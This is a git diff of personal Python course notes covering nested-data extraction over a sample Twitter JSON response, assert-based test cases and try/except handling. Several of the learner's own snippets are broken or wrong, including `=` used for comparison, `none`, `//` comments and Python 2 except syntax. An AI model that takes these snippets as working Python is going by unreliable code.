print(res4['screen_name'], res4['created_at']) + # + ----Level 4: the user who wrote the tweet---- + 31brooks_ Wed Apr 09 14:34:41 +0000 2014 + + +5. go back have it extract for all the items rather than only the first item in res2. + + import json + res2 = res['statuses'] # ----Level 2: a list of tweets----- + for res3 in res2: # ----Level 3: a tweet---- + res4 = res3['user'] # ----Level 4: the user who wrote the tweet---- + print(res4['screen_name'], res4['created_at']) + # + 31brooks_ Wed Apr 09 14:34:41 +0000 2014 + froyoho Thu Jan 14 21:37:54 +0000 2010 + MDuncan95814 Tue Sep 11 21:02:09 +0000 2012 + + +6. collapse things with multiple extractions in a single expression. + + import json + res2 = res['statuses'] # ----Level 2: a list of tweets----- + for res3 in res['statuses']: + print(res3['user']['screen_name'], res3['user']['created_at']) +``` + + +## example + + +```py + +1. + +nested = {'data': ['finding', 23, ['exercises', 'hangout', 34]], + 'window': ['part', 'whole', [], 'sum', ['math', 'calculus', 'algebra', 'geometry', 'statistics',['physics', 'chemistry', 'biology']]]} + +# Check to see if the string data is a key in nested, if it is, assign True to the variable data, otherwise assign False. print(type(nested)) +data=bool(0) +for l1 in nested: + if type(l1)!='str': + data=bool(1) + +# Check if the integer 24 is in the value of the key data +# in: twentyfour==True +# not in: False. + +def isthisvalueinside(lst,str): + #print(lst) + valueinside=bool(0) + morelevel=bool(0) + returnlist=[] + for item in lst: + if type(item)!=type([1,2]) and type(item)!=type({1:2}): # items not list/dic + #print(item, ': is not list/dic.') + if item==str: + valueinside=bool(1) + else: + #print(item, ': is list/dic.') + morelevel=bool(1) + for i in item: + returnlist.append(i) + #print('-------', str,' inside:', valueinside) + #print('-------', 'morelevel:', morelevel) + #print('-------', 'returnlist:', returnlist, '\n') + return (valueinside, morelevel, returnlist) + +level1=isthisvalueinside(nested['data'],24) +if level1[1]==bool(1): + level2=isthisvalueinside(level1[2],24) + twentyfour=level2[0] + + +# Check to see that the string 'whole' is not in the value of the key window. If it's not, then assign to the variable whole the value of True, otherwise False. + +level1=isthisvalueinside(nested['window'],'whole') +if level1[0]==bool(1): + whole=bool(0) + if level1[1]==bool(1): + level2=isthisvalueinside(level1[2],'whole') + if level2[1]==bool(1): + level3=isthisvalueinside(level2[2],'whole') + + +# Check to see if the string 'physics' is a key in the dictionary nested. If it is, assign to the variable physics, the value of True, otherwise False. + + +def isthiskeyinside(lst,str=none,key=none): + #print(lst) + valueinside=bool(0) + morelevel=bool(0) + returnlist=[] + for item in lst: + if type(item)!=type([1,2]) and type(item)!=type({1:2}): # items not list/dic + #print(item, ': is not list/dic.') + if item==str: + valueinside=bool(1) + if type(item)=type([1,2]): + #print(item, ': is list.') + morelevel=bool(1) + for i in item: + returnlist.append(i) + if type(item)=type({1:2}): + print(item, ': is dic.') + + #print('-------', str,' inside:', valueinside) + #print('-------', 'morelevel:', morelevel) + #print('-------', 'returnlist:', returnlist, '\n') + return (valueinside, morelevel, returnlist) + + + + +1. def to check if x is a dic. + + def isthisadic(x): + result=bool(0) + if type(x)==type({1:2}): + result=bool(1) + print('it is a dic.') + return result + + +sports = { + +'swimming': +['butterfly', 'breaststroke', 'backstroke', 'freestyle'], + +'diving': +['springboard', 'platform', 'synchronized'], + +'track': ['sprint', 'distance', 'jumps', 'throws'], + +'gymnastics': +{'women':['vault', 'floor', 'uneven bars', 'balance beam'], 'men': ['vault', 'parallel bars', 'floor', 'rings']} + +} + +``` + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.17.1.Assignment-file.md b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.17.1.Assignment-file.md new file mode 100644 index 00000000000..82688b5a81a --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.17.1.Assignment-file.md @@ -0,0 +1,713 @@ + +# assignment file for 17.7. 👩‍💻 Extracting from Nested Data + +```py +res = { + "search_metadata": { + "count": 3, + "completed_in": 0.015, + "max_id_str": "536624519285583872", + "since_id_str": "0", + "next_results": "?max_id=536623674942439424&q=University%20of%20Michigan&count=3&include_entities=1", + "refresh_url": "?since_id=536624519285583872&q=University%20of%20Michigan&include_entities=1", + "since_id": 0, + "query": "University+of+Michigan", + "max_id": 536624519285583872 + }, + "statuses": [ + { + "contributors": None, + "truncated": False, + "text": "RT @mikeweber25: I'm decommitting from the university of Michigan thank you Michigan for the love and support I'll remake my decision at the\u2026", + "in_reply_to_status_id": None, + "id": 536624519285583872, + "favorite_count": 0, + "source": "Twitter for iPhone", + "retweeted": False, + "coordinates": None, + "entities": { + "symbols": [], + "user_mentions": [ + { + "id": 1119996684, + "indices": [ + 3, + 15 + ], + "id_str": "1119996684", + "screen_name": "mikeweber25", + "name": "Mikey" + } + ], + "hashtags": [], + "urls": [] + }, + "in_reply_to_screen_name": None, + "in_reply_to_user_id": None, + "retweet_count": 2014, + "id_str": "536624519285583872", + "favorited": False, + "retweeted_status": { + "contributors": None, + "truncated": False, + "text": "I'm decommitting from the university of Michigan thank you Michigan for the love and support I'll remake my decision at the army bowl", + "in_reply_to_status_id": None, + "id": 536300265616322560, + "favorite_count": 1583, + "source": "Twitter for iPhone", + "retweeted": False, + "coordinates": None, + "entities": { + "symbols": [], + "user_mentions": [], + "hashtags": [], + "urls": [] + }, + "in_reply_to_screen_name": None, + "in_reply_to_user_id": None, + "retweet_count": 2014, + "id_str": "536300265616322560", + "favorited": False, + "user": { + "follow_request_sent": False, + "profile_use_background_image": True, + "profile_text_color": "666666", + "default_profile_image": False, + "id": 1119996684, + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme9/bg.gif", + "verified": False, + "profile_location": None, + "profile_image_url_https": "https://pbs.twimg.com/profile_images/534465900343083008/A09dIq1d_normal.jpeg", + "profile_sidebar_fill_color": "252429", + "entities": { + "description": { + "urls": [] + } + }, + "followers_count": 5444, + "profile_sidebar_border_color": "FFFFFF", + "id_str": "1119996684", + "profile_background_color": "C0DEED", + "listed_count": 36, + "is_translation_enabled": False, + "utc_offset": None, + "statuses_count": 6525, + "description": "Mike Weber (U.S Army All American) DETROIT CTSENIOR State Champion", + "friends_count": 693, + "location": "", + "profile_link_color": "0084B4", + "profile_image_url": "https://pbs.twimg.com/profile_images/534465900343083008/A09dIq1d_normal.jpeg", + "following": False, + "geo_enabled": False, + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1119996684/1416261575", + "profile_background_image_url": "https://abs.twimg.com/images/themes/theme9/bg.gif", + "name": "Mikey", + "lang": "en", + "profile_background_tile": False, + "favourites_count": 1401, + "screen_name": "mikeweber25", + "notifications": False, + "url": None, + "created_at": "Fri Jan 25 18:45:53 +0000 2013", + "contributors_enabled": False, + "time_zone": None, + "protected": False, + "default_profile": False, + "is_translator": False + }, + "geo": None, + "in_reply_to_user_id_str": None, + "lang": "en", + "created_at": "Sat Nov 22 23:28:41 +0000 2014", + "in_reply_to_status_id_str": None, + "place": None, + "metadata": { + "iso_language_code": "en", + "result_type": "recent" + } + }, + "user": { + "follow_request_sent": False, + "profile_use_background_image": True, + "profile_text_color": "333333", + "default_profile_image": False, + "id": 2435537208, + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "verified": False, + "profile_location": None, + "profile_image_url_https": "https://pbs.twimg.com/profile_images/532694075947110400/oZEP5XNQ_normal.jpeg", + "profile_sidebar_fill_color": "DDEEF6", + "entities": { + "description": { + "urls": [] + } + }, + "followers_count": 161, + "profile_sidebar_border_color": "C0DEED", + "id_str": "2435537208", + "profile_background_color": "C0DEED", + "listed_count": 0, + "is_translation_enabled": False, + "utc_offset": None, + "statuses_count": 524, + "description": "Delasalle '17 Baseball & Football.", + "friends_count": 255, + "location": "", + "profile_link_color": "0084B4", + "profile_image_url": "https://pbs.twimg.com/profile_images/532694075947110400/oZEP5XNQ_normal.jpeg", + "following": False, + "geo_enabled": False, + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2435537208/1406779364", + "profile_background_image_url": "https://abs.twimg.com/images/themes/theme1/bg.png", + "name": "Andrew Brooks", + "lang": "en", + "profile_background_tile": False, + "favourites_count": 555, + "screen_name": "31brooks_", + "notifications": False, + "url": None, + "created_at": "Wed Apr 09 14:34:41 +0000 2014", + "contributors_enabled": False, + "time_zone": None, + "protected": False, + "default_profile": True, + "is_translator": False + }, + "geo": None, + "in_reply_to_user_id_str": None, + "lang": "en", + "created_at": "Sun Nov 23 20:57:10 +0000 2014", + "in_reply_to_status_id_str": None, + "place": None, + "metadata": { + "iso_language_code": "en", + "result_type": "recent" + } + }, + { + "contributors": None, + "truncated": False, + "text": "RT @Plantedd: The University of Michigan moved a big Bur Oak yesterday. 65ft tall. 350+ tons. https://t.co/v2Y6vl3f9e", + "in_reply_to_status_id": None, + "id": 536624216305848320, + "favorite_count": 0, + "source": "Tweetbot for i\u039fS", + "retweeted": False, + "coordinates": None, + "entities": { + "symbols": [], + "user_mentions": [ + { + "id": 462890283, + "indices": [ + 3, + 12 + ], + "id_str": "462890283", + "screen_name": "Plantedd", + "name": "David Wong" + } + ], + "hashtags": [], + "urls": [], + "media": [ + { + "source_status_id_str": "526276522374889472", + "expanded_url": "https://twitter.com/Plantedd/status/526276522374889472/photo/1", + "display_url": "pic.twitter.com/v2Y6vl3f9e", + "url": "https://t.co/v2Y6vl3f9e", + "media_url_https": "https://pbs.twimg.com/media/B021tLsIYAADq21.jpg", + "source_status_id": 526276522374889472, + "id_str": "526276519308845056", + "sizes": { + "small": { + "h": 191, + "resize": "fit", + "w": 340 + }, + "large": { + "h": 576, + "resize": "fit", + "w": 1024 + }, + "medium": { + "h": 337, + "resize": "fit", + "w": 600 + }, + "thumb": { + "h": 150, + "resize": "crop", + "w": 150 + } + }, + "indices": [ + 94, + 116 + ], + "type": "photo", + "id": 526276519308845056, + "media_url": "https://pbs.twimg.com/media/B021tLsIYAADq21.jpg" + } + ] + }, + "in_reply_to_screen_name": None, + "in_reply_to_user_id": None, + "retweet_count": 27, + "id_str": "536624216305848320", + "favorited": False, + "retweeted_status": { + "contributors": None, + "truncated": False, + "text": "The University of Michigan moved a big Bur Oak yesterday. 65ft tall. 350+ tons. https://t.co/v2Y6vl3f9e", + "in_reply_to_status_id": None, + "id": 526276522374889472, + "favorite_count": 25, + "source": "Twitter for iPhone", + "retweeted": False, + "coordinates": None, + "entities": { + "symbols": [], + "user_mentions": [], + "hashtags": [], + "urls": [], + "media": [ + { + "expanded_url": "https://twitter.com/Plantedd/status/526276522374889472/photo/1", + "display_url": "pic.twitter.com/v2Y6vl3f9e", + "url": "https://t.co/v2Y6vl3f9e", + "media_url_https": "https://pbs.twimg.com/media/B021tLsIYAADq21.jpg", + "id_str": "526276519308845056", + "sizes": { + "small": { + "h": 191, + "resize": "fit", + "w": 340 + }, + "large": { + "h": 576, + "resize": "fit", + "w": 1024 + }, + "medium": { + "h": 337, + "resize": "fit", + "w": 600 + }, + "thumb": { + "h": 150, + "resize": "crop", + "w": 150 + } + }, + "indices": [ + 80, + 102 + ], + "type": "photo", + "id": 526276519308845056, + "media_url": "https://pbs.twimg.com/media/B021tLsIYAADq21.jpg" + } + ] + }, + "in_reply_to_screen_name": None, + "in_reply_to_user_id": None, + "retweet_count": 27, + "id_str": "526276522374889472", + "favorited": False, + "user": { + "follow_request_sent": False, + "profile_use_background_image": True, + "profile_text_color": "333333", + "default_profile_image": False, + "id": 462890283, + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "verified": False, + "profile_location": None, + "profile_image_url_https": "https://pbs.twimg.com/profile_images/1791926707/Plantedd_Logo__square__normal.jpg", + "profile_sidebar_fill_color": "DDEEF6", + "entities": { + "url": { + "urls": [ + { + "url": "https://t.co/ZOnsCHvoKt", + "indices": [ + 0, + 22 + ], + "expanded_url": "https://www.plantedd.com", + "display_url": "plantedd.com" + } + ] + }, + "description": { + "urls": [] + } + }, + "followers_count": 2598, + "profile_sidebar_border_color": "C0DEED", + "id_str": "462890283", + "profile_background_color": "C0DEED", + "listed_count": 61, + "is_translation_enabled": False, + "utc_offset": 0, + "statuses_count": 8157, + "description": "Hello, I'm the supervillain behind Plantedd. We're an online market for plant lovers plotting to take over the world by making it simple to find and buy plants.", + "friends_count": 2664, + "location": "UK", + "profile_link_color": "0084B4", + "profile_image_url": "https://pbs.twimg.com/profile_images/1791926707/Plantedd_Logo__square__normal.jpg", + "following": False, + "geo_enabled": False, + "profile_banner_url": "https://pbs.twimg.com/profile_banners/462890283/1398254314", + "profile_background_image_url": "https://abs.twimg.com/images/themes/theme1/bg.png", + "name": "David Wong", + "lang": "en", + "profile_background_tile": False, + "favourites_count": 371, + "screen_name": "Plantedd", + "notifications": False, + "url": "https://t.co/ZOnsCHvoKt", + "created_at": "Fri Jan 13 13:46:46 +0000 2012", + "contributors_enabled": False, + "time_zone": "Edinburgh", + "protected": False, + "default_profile": True, + "is_translator": False + }, + "geo": None, + "in_reply_to_user_id_str": None, + "possibly_sensitive": False, + "lang": "en", + "created_at": "Sun Oct 26 07:37:55 +0000 2014", + "in_reply_to_status_id_str": None, + "place": None, + "metadata": { + "iso_language_code": "en", + "result_type": "recent" + } + }, + "user": { + "follow_request_sent": False, + "profile_use_background_image": True, + "profile_text_color": "2A48AE", + "default_profile_image": False, + "id": 104940733, + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme17/bg.gif", + "verified": False, + "profile_location": None, + "profile_image_url_https": "https://pbs.twimg.com/profile_images/2878477539/78e20432088b5ee2addc9ce3362fd461_normal.jpeg", + "profile_sidebar_fill_color": "6378B1", + "entities": { + "description": { + "urls": [] + } + }, + "followers_count": 149, + "profile_sidebar_border_color": "FBD0C9", + "id_str": "104940733", + "profile_background_color": "0C003D", + "listed_count": 18, + "is_translation_enabled": False, + "utc_offset": 0, + "statuses_count": 16031, + "description": "Have you any dreams you'd like to sell?", + "friends_count": 248, + "location": "", + "profile_link_color": "0F1B7C", + "profile_image_url": "https://pbs.twimg.com/profile_images/2878477539/78e20432088b5ee2addc9ce3362fd461_normal.jpeg", + "following": False, + "geo_enabled": False, + "profile_banner_url": "https://pbs.twimg.com/profile_banners/104940733/1410032966", + "profile_background_image_url": "https://abs.twimg.com/images/themes/theme17/bg.gif", + "name": "Heather", + "lang": "en", + "profile_background_tile": False, + "favourites_count": 777, + "screen_name": "froyoho", + "notifications": False, + "url": None, + "created_at": "Thu Jan 14 21:37:54 +0000 2010", + "contributors_enabled": False, + "time_zone": "London", + "protected": False, + "default_profile": False, + "is_translator": False + }, + "geo": None, + "in_reply_to_user_id_str": None, + "possibly_sensitive": False, + "lang": "en", + "created_at": "Sun Nov 23 20:55:57 +0000 2014", + "in_reply_to_status_id_str": None, + "place": None, + "metadata": { + "iso_language_code": "en", + "result_type": "recent" + } + }, + { + "contributors": None, + "truncated": False, + "text": "RT @NotableHistory: Madonna, 18 year old freshman at the University of Michigan, 1976 https://t.co/x2dm1G67ea", + "in_reply_to_status_id": None, + "id": 536623674942439425, + "favorite_count": 0, + "source": "Twitter for Android", + "retweeted": False, + "coordinates": None, + "entities": { + "symbols": [], + "user_mentions": [ + { + "id": 844766941, + "indices": [ + 3, + 18 + ], + "id_str": "844766941", + "screen_name": "NotableHistory", + "name": "OnThisDay & Facts" + } + ], + "hashtags": [], + "urls": [], + "media": [ + { + "source_status_id_str": "536610190334779392", + "expanded_url": "https://twitter.com/NotableHistory/status/536610190334779392/photo/1", + "display_url": "pic.twitter.com/x2dm1G67ea", + "url": "https://t.co/x2dm1G67ea", + "media_url_https": "https://pbs.twimg.com/media/B3EXbQkCMAEipwM.jpg", + "source_status_id": 536610190334779392, + "id_str": "536235587703812097", + "sizes": { + "small": { + "h": 487, + "resize": "fit", + "w": 340 + }, + "large": { + "h": 918, + "resize": "fit", + "w": 640 + }, + "medium": { + "h": 860, + "resize": "fit", + "w": 600 + }, + "thumb": { + "h": 150, + "resize": "crop", + "w": 150 + } + }, + "indices": [ + 86, + 108 + ], + "type": "photo", + "id": 536235587703812097, + "media_url": "https://pbs.twimg.com/media/B3EXbQkCMAEipwM.jpg" + } + ] + }, + "in_reply_to_screen_name": None, + "in_reply_to_user_id": None, + "retweet_count": 9, + "id_str": "536623674942439425", + "favorited": False, + "retweeted_status": { + "contributors": None, + "truncated": False, + "text": "Madonna, 18 year old freshman at the University of Michigan, 1976 https://t.co/x2dm1G67ea", + "in_reply_to_status_id": None, + "id": 536610190334779392, + "favorite_count": 13, + "source": "Twitter Ads", + "retweeted": False, + "coordinates": None, + "entities": { + "symbols": [], + "user_mentions": [], + "hashtags": [], + "urls": [], + "media": [ + { + "expanded_url": "https://twitter.com/NotableHistory/status/536610190334779392/photo/1", + "display_url": "pic.twitter.com/x2dm1G67ea", + "url": "https://t.co/x2dm1G67ea", + "media_url_https": "https://pbs.twimg.com/media/B3EXbQkCMAEipwM.jpg", + "id_str": "536235587703812097", + "sizes": { + "small": { + "h": 487, + "resize": "fit", + "w": 340 + }, + "large": { + "h": 918, + "resize": "fit", + "w": 640 + }, + "medium": { + "h": 860, + "resize": "fit", + "w": 600 + }, + "thumb": { + "h": 150, + "resize": "crop", + "w": 150 + } + }, + "indices": [ + 66, + 88 + ], + "type": "photo", + "id": 536235587703812097, + "media_url": "https://pbs.twimg.com/media/B3EXbQkCMAEipwM.jpg" + } + ] + }, + "in_reply_to_screen_name": None, + "in_reply_to_user_id": None, + "retweet_count": 9, + "id_str": "536610190334779392", + "favorited": False, + "user": { + "follow_request_sent": False, + "profile_use_background_image": True, + "profile_text_color": "333333", + "default_profile_image": False, + "id": 844766941, + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/458461302696837121/rGlGdWsc.png", + "verified": False, + "profile_location": None, + "profile_image_url_https": "https://pbs.twimg.com/profile_images/481243404320251905/gCr1cVP2_normal.png", + "profile_sidebar_fill_color": "DDFFCC", + "entities": { + "url": { + "urls": [ + { + "url": "https://t.co/9fTPk5A4wh", + "indices": [ + 0, + 22 + ], + "expanded_url": "https://notablefacts.com/", + "display_url": "notablefacts.com" + } + ] + }, + "description": { + "urls": [] + } + }, + "followers_count": 73817, + "profile_sidebar_border_color": "FFFFFF", + "id_str": "844766941", + "profile_background_color": "9AE4E8", + "listed_count": 485, + "is_translation_enabled": False, + "utc_offset": -21600, + "statuses_count": 38841, + "description": "On This Day in History, Historical Pictures & other Interesting Facts....Historyfollower@gmail.com", + "friends_count": 43594, + "location": "", + "profile_link_color": "0084B4", + "profile_image_url": "https://pbs.twimg.com/profile_images/481243404320251905/gCr1cVP2_normal.png", + "following": False, + "geo_enabled": False, + "profile_banner_url": "https://pbs.twimg.com/profile_banners/844766941/1411076349", + "profile_background_image_url": "https://pbs.twimg.com/profile_background_images/458461302696837121/rGlGdWsc.png", + "name": "OnThisDay & Facts", + "lang": "en", + "profile_background_tile": True, + "favourites_count": 1383, + "screen_name": "NotableHistory", + "notifications": False, + "url": "https://t.co/9fTPk5A4wh", + "created_at": "Tue Sep 25 03:08:59 +0000 2012", + "contributors_enabled": False, + "time_zone": "Central Time (US & Canada)", + "protected": False, + "default_profile": False, + "is_translator": False + }, + "geo": None, + "in_reply_to_user_id_str": None, + "possibly_sensitive": False, + "lang": "en", + "created_at": "Sun Nov 23 20:00:13 +0000 2014", + "in_reply_to_status_id_str": None, + "place": None, + "metadata": { + "iso_language_code": "en", + "result_type": "recent" + } + }, + "user": { + "follow_request_sent": False, + "profile_use_background_image": True, + "profile_text_color": "333333", + "default_profile_image": False, + "id": 818185729, + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "verified": False, + "profile_location": None, + "profile_image_url_https": "https://pbs.twimg.com/profile_images/486215801498640384/rz9o7LnF_normal.jpeg", + "profile_sidebar_fill_color": "DDEEF6", + "entities": { + "description": { + "urls": [] + } + }, + "followers_count": 302, + "profile_sidebar_border_color": "C0DEED", + "id_str": "818185729", + "profile_background_color": "C0DEED", + "listed_count": 0, + "is_translation_enabled": False, + "utc_offset": None, + "statuses_count": 395, + "description": "Formerly with California Dept of General Services, now freelancing around the Sacramento area...", + "friends_count": 1521, + "location": "Citrus Heights, CA", + "profile_link_color": "0084B4", + "profile_image_url": "https://pbs.twimg.com/profile_images/486215801498640384/rz9o7LnF_normal.jpeg", + "following": False, + "geo_enabled": True, + "profile_banner_url": "https://pbs.twimg.com/profile_banners/818185729/1383764759", + "profile_background_image_url": "https://abs.twimg.com/images/themes/theme1/bg.png", + "name": "M Duncan", + "lang": "en", + "profile_background_tile": False, + "favourites_count": 6544, + "screen_name": "MDuncan95814", + "notifications": False, + "url": None, + "created_at": "Tue Sep 11 21:02:09 +0000 2012", + "contributors_enabled": False, + "time_zone": None, + "protected": False, + "default_profile": True, + "is_translator": False + }, + "geo": None, + "in_reply_to_user_id_str": None, + "possibly_sensitive": False, + "lang": "en", + "created_at": "Sun Nov 23 20:53:48 +0000 2014", + "in_reply_to_status_id_str": None, + "place": None, + "metadata": { + "iso_language_code": "en", + "result_type": "recent" + } + } + ] +} +``` diff --git a/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.18.0.Test-Cases.md b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.18.0.Test-Cases.md new file mode 100644 index 00000000000..690180af0a7 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.18.0.Test-Cases.md @@ -0,0 +1,214 @@ + +- [18. Test Cases](#18-test-cases) + - [Intro](#intro) + - [18.1 test.testEqual](#181-testtestequal) + - [18.2. Checking Assumptions 假定 About Data Types](#182-checking-assumptions-假定-about-data-types) + - [18.3. Checking Other Assumptions](#183-checking-other-assumptions) + - [18.4. Testing Conditionals](#184-testing-conditionals) + - [18.5. Testing Loops](#185-testing-loops) + - [18.6. Writing Test Cases for Functions](#186-writing-test-cases-for-functions) + - [18.6.1. Return Value Tests](#1861-return-value-tests) + - [18.6.2. Side Effect Tests](#1862-side-effect-tests) + - [18.7. Testing Optional Parameters](#187-testing-optional-parameters) + - [18.8. 👩‍💻 Program Development](#188--program-development) + + + +# 18. Test Cases + +## Intro + +There are several reasons why it’s a good habit to write test cases. + +- to keep in mind what it should do, writing down test cases to be more concrete about what should happen. +- test cases can provide automated feedback. +- In larger software projects, the set of test cases can be run every time a change is made to the code base. + - `Unit tests` check that small bits of code are correctly implemented. + - `Functional tests` check that larger chunks of code work correctly. + - Running the tests can help to identify situations where a change in code in one place breaks the correct operation of some other code. We won’t see that advantage of test cases in this textbook, but keep in mind that this introduction to test cases is setting the stage for an essential software engineering practice if you are participating in a larger software development project. + + +to write code for test cases. + +assert python expression +- If that expression evaluates to the `Boolean False`, then the interpreter will raise a `runtime error`. +- If the expression evaluates to `True`, then nothing happens and the execution goes on to the next line of code. + +alert that some condition assumed was true is not in fact true. +- much better to be alerted right away than to have some unexpected result in program execution, will have trouble tracing to the place where had an error. + + +## 18.1 test.testEqual + +```py + +# special module it made in runstone + +def square(x): + return x*x + +import test +test.testEqual( square(9), 100) +# +``` + + +## 18.2. Checking Assumptions 假定 About Data Types + +python interpreter does not enforce restrictions about the data types of objects that can be bound to particular variables. +- The variable x in a python program can be bound to an integer at one point and to a list at some other point in the program execution. +- easier to get started +- however, type checking could alert us that something has gone wrong in our program execution. If we are assuming at that x is a list, but it’s actually an integer, then at some point later in the program execution, there will probably be an error. + + +```py +assert type(9.0//5) == int +# AssertionError: on line 2 +``` + +## 18.3. Checking Other Assumptions + +can also check other assumptions about the values of variables, + +```py +lst = ['a', 'b', 'c'] +assert len(lst) < 10 + +``` + +## 18.4. Testing Conditionals + +tests will cover both the `typical execution `of program and tests for `unusual things` that might happen, *edge cases*. + +```py +if x < y: + z = x +else: + if x > y: + z = y + else: + ## x must be equal to y + ## it’s helpful to add comments like this + // but might as well add an assert statement + assert x==y + // If the assert causes an error, know right away something wrong + z = 0 +``` + + +## 18.5. Testing Loops + +With a for loop, the `edge cases` might include iterating over an empty list or string, or iterating over a list with different kinds of contents. + +```py + +1. + + nums = [1, 5, 8] + + accum = 0 + for w in nums: + accum = accum + w + assert accum == 14 + +2. + + nums = [] + + accum = 0 + for w in nums: + accum = accum + w + # suppose wanted it to be the special python value None + # By assert statement, can be alerted that code doesn’t produce the answer wanted. + assert accum == None +``` + + +## 18.6. Writing Test Cases for Functions + +A function defines an operation that can be performed. If the function takes one or more parameters, it is supposed to work properly on a variety of possible inputs. Each test case will check whether the function works properly on one set of possible inputs. + +A useful function will do some combination of three things, given its input parameters: +- Return a value, write `return value tests`. +- Modify the contents of some mutable object, like a list or dictionary, write `side effect tests`. +- Print something or write something to a file. Tests of whether a function generates the right printed output are beyond the scope of this testing framework; you won’t write these tests. + + +### 18.6.1. Return Value Tests + +how to generate `edge cases`: +- find `equivalence classes` of the different kinds of inputs the function might get. +- For example, the input to the square function could be either positive or negative. We then choose an input from each of these classes. +- It is important to have *at least one test* for each *equivalence class* of inputs. + +`Semantic errors` are often caused by improperly handling the boundaries between equivalence classes. +- The boundary for this problem is zero. +- It is important to have a test at each boundary. + +```py +def square(x): + return x*x + +assert square(3) == 9 +# return value test. + +``` + +### 18.6.2. Side Effect Tests + +To test whether a function makes correct changes to a mutable object, need more than one line of code. +- first set the mutable object to some value, then run the function, then check whether the object has the expected value. + +`side effect test`: check whether the function invocation has had the correct side effect on the mutable object. + + +```py +def update_counts(letters, counts_d): + for c in letters: + if c not in counts_d: + counts_d[c] = 0 + counts_d[c] += 1 + + +counts = {'a': 3, 'b': 2} +update_counts("aaab", counts) + +print(counts) +# 3 more occurrences of a, so 6 in all +assert counts['a'] == 6 +``` + + + +### 18.7. Testing Optional Parameters + +If a function takes an optional parameter, one of the edge cases to test for is when no parameter value is supplied during execution. + +```py +assert sorted([1, 7, 4]) == [1, 4, 7] +assert sorted([1, 7, 4], reverse=True) == [7, 4, 1] +``` + +--- + +## 18.8. 👩‍💻 Program Development + +`incremental development`: avoid long debugging sessions by adding and testing only a small amount of code at a time. + + +write `unit tests` before doing the incremental development, +- will be able to track your progress as the code passes more and more of the tests. +- Alternatively, write `additional tests` at each stage of incremental development. + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.19.0.Exceptions.md b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.19.0.Exceptions.md new file mode 100644 index 00000000000..34b3ff15f50 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python13-Classes-Inheritance-byUMich/0.19.0.Exceptions.md @@ -0,0 +1,486 @@ + +- [19. Exceptions](#19-exceptions) + - [19.1. What is an exception?](#191-what-is-an-exception) + - [19.2. Exception Handling Flow-of-control](#192-exception-handling-flow-of-control) + - [19.2.1. Raising and Catching Errors](#1921-raising-and-catching-errors) + - [19.3. 👩‍💻 When to use try/except](#193--when-to-use-tryexcept) + - [19.4. Standard Exceptions](#194-standard-exceptions) + - [Exceptions](#exceptions) + - [Handling the ZeroDivisionError Exception](#handling-the-zerodivisionerror-exception) + - [Using Exceptions to Prevent Crashes](#using-exceptions-to-prevent-crashes) + - [Handling the FileNotFoundError Exception](#handling-the-filenotfounderror-exception) + - [Working with Multiple Files](#working-with-multiple-files) + - [Failing Silently](#failing-silently) + - [example](#example) + + + +# 19. Exceptions + +## 19.1. What is an exception? +An exception is a signal that a condition has occurred that can’t be easily handled using the normal flow-of-control of a Python program. Exceptions are often defined as being “errors” but this is not always the case. All errors in Python are dealt with using exceptions, but not all exceptions are errors. + +## 19.2. Exception Handling Flow-of-control + +In normal operation Python executes statements sequentially, one after the other. + +For three constructs, `if-statements`, `loops` and `function invocations`, this sequential execution is interrupted. +- For if-statements, only one of several statement blocks is executed and then flow-of-control jumps to the first statement after the if-statement. +- For loops, when the end of the loop is reached, flow-of-control jumps back to the start of the loop, and a test is used to determine if the loop needs to execute again. If the loop is finished, flow-of-control jumps to the first statement after the loop. +- For function invocations, flow-of-control jumps to the first statement in the called function, the function is executed, and the flow-of-control jumps back to the next statement after the function call. + + +Exceptions provide us with way to have a non-sequential point where we can handle something out of the ordinary (exceptional). + +## 19.2.1. Raising and Catching Errors + +With try/except, the python interpreter: +- Try to execute a block of code, the `“try”` clause. + - If the whole block of code executes without any run-time errors + - carry on with the rest of the program after the `try/except statement`. + - If a `run-time error` does occur during execution of the block of code: + - skip the rest of that block of code (but don’t exit the whole program) + - execute a block of code in the “except” clause + - then carry on with the rest of the program after the try/except statement + +```py + try: + + except : + +``` + +when the error is encountered +- the `rest of the try block` is skipped +- the `exception block` is executed. +- When the except block is done, it continues on with the next line of code that’s outdented to the same level as the try. + +```py + +1. + + try: + items = ['a', 'b'] + third = items[3] + print("This won't print") + except Exception: + print("got an error") + + print("continuing") + # + got an error + continuing + +2. 2 errors, only executing one. + If we catch only IndexEror, and we actually have a divide by zero error, the program does stop executing. + + try: + items = ['a', 'b'] + third = items[2] + print("This won't print") + except IndexError, e: + print("error 1") + print(e) + + print("continuing") + + try: + x = 5 + y = x/0 + print("This won't print, either") + except IndexError: + print("error 2") + + + print("continuing again") + # + error 1 + IndexError: list index out of range on line 3 + continuing + # ZeroDivisionError: integer division or modulo by zero on line 14 + + + +3. print out the error. + "except Exception, e" + + try: + items = ['a', 'b'] + third = items[2] + print("This won't print") + except Exception, e: + print("got an error") + print(e) + + print("continuing") + # + got an error + IndexError: list index out of range on line 3 + continuing + + +4. the for loop does not work + - but Add a try/except clause, the code runs without an errors. + + students = [('Timmy', 95, 'Will pass'), ('Martha', 70), ('Betty', 82, 'Will pass'), ('Stewart', 50, 'Will not pass'), ('Ashley', 68), ('Natalie', 99, 'Will pass'), ('Archie', 71), ('Carl', 45, 'Will not pass')] + + passing = {'Will pass': 0, 'Will not 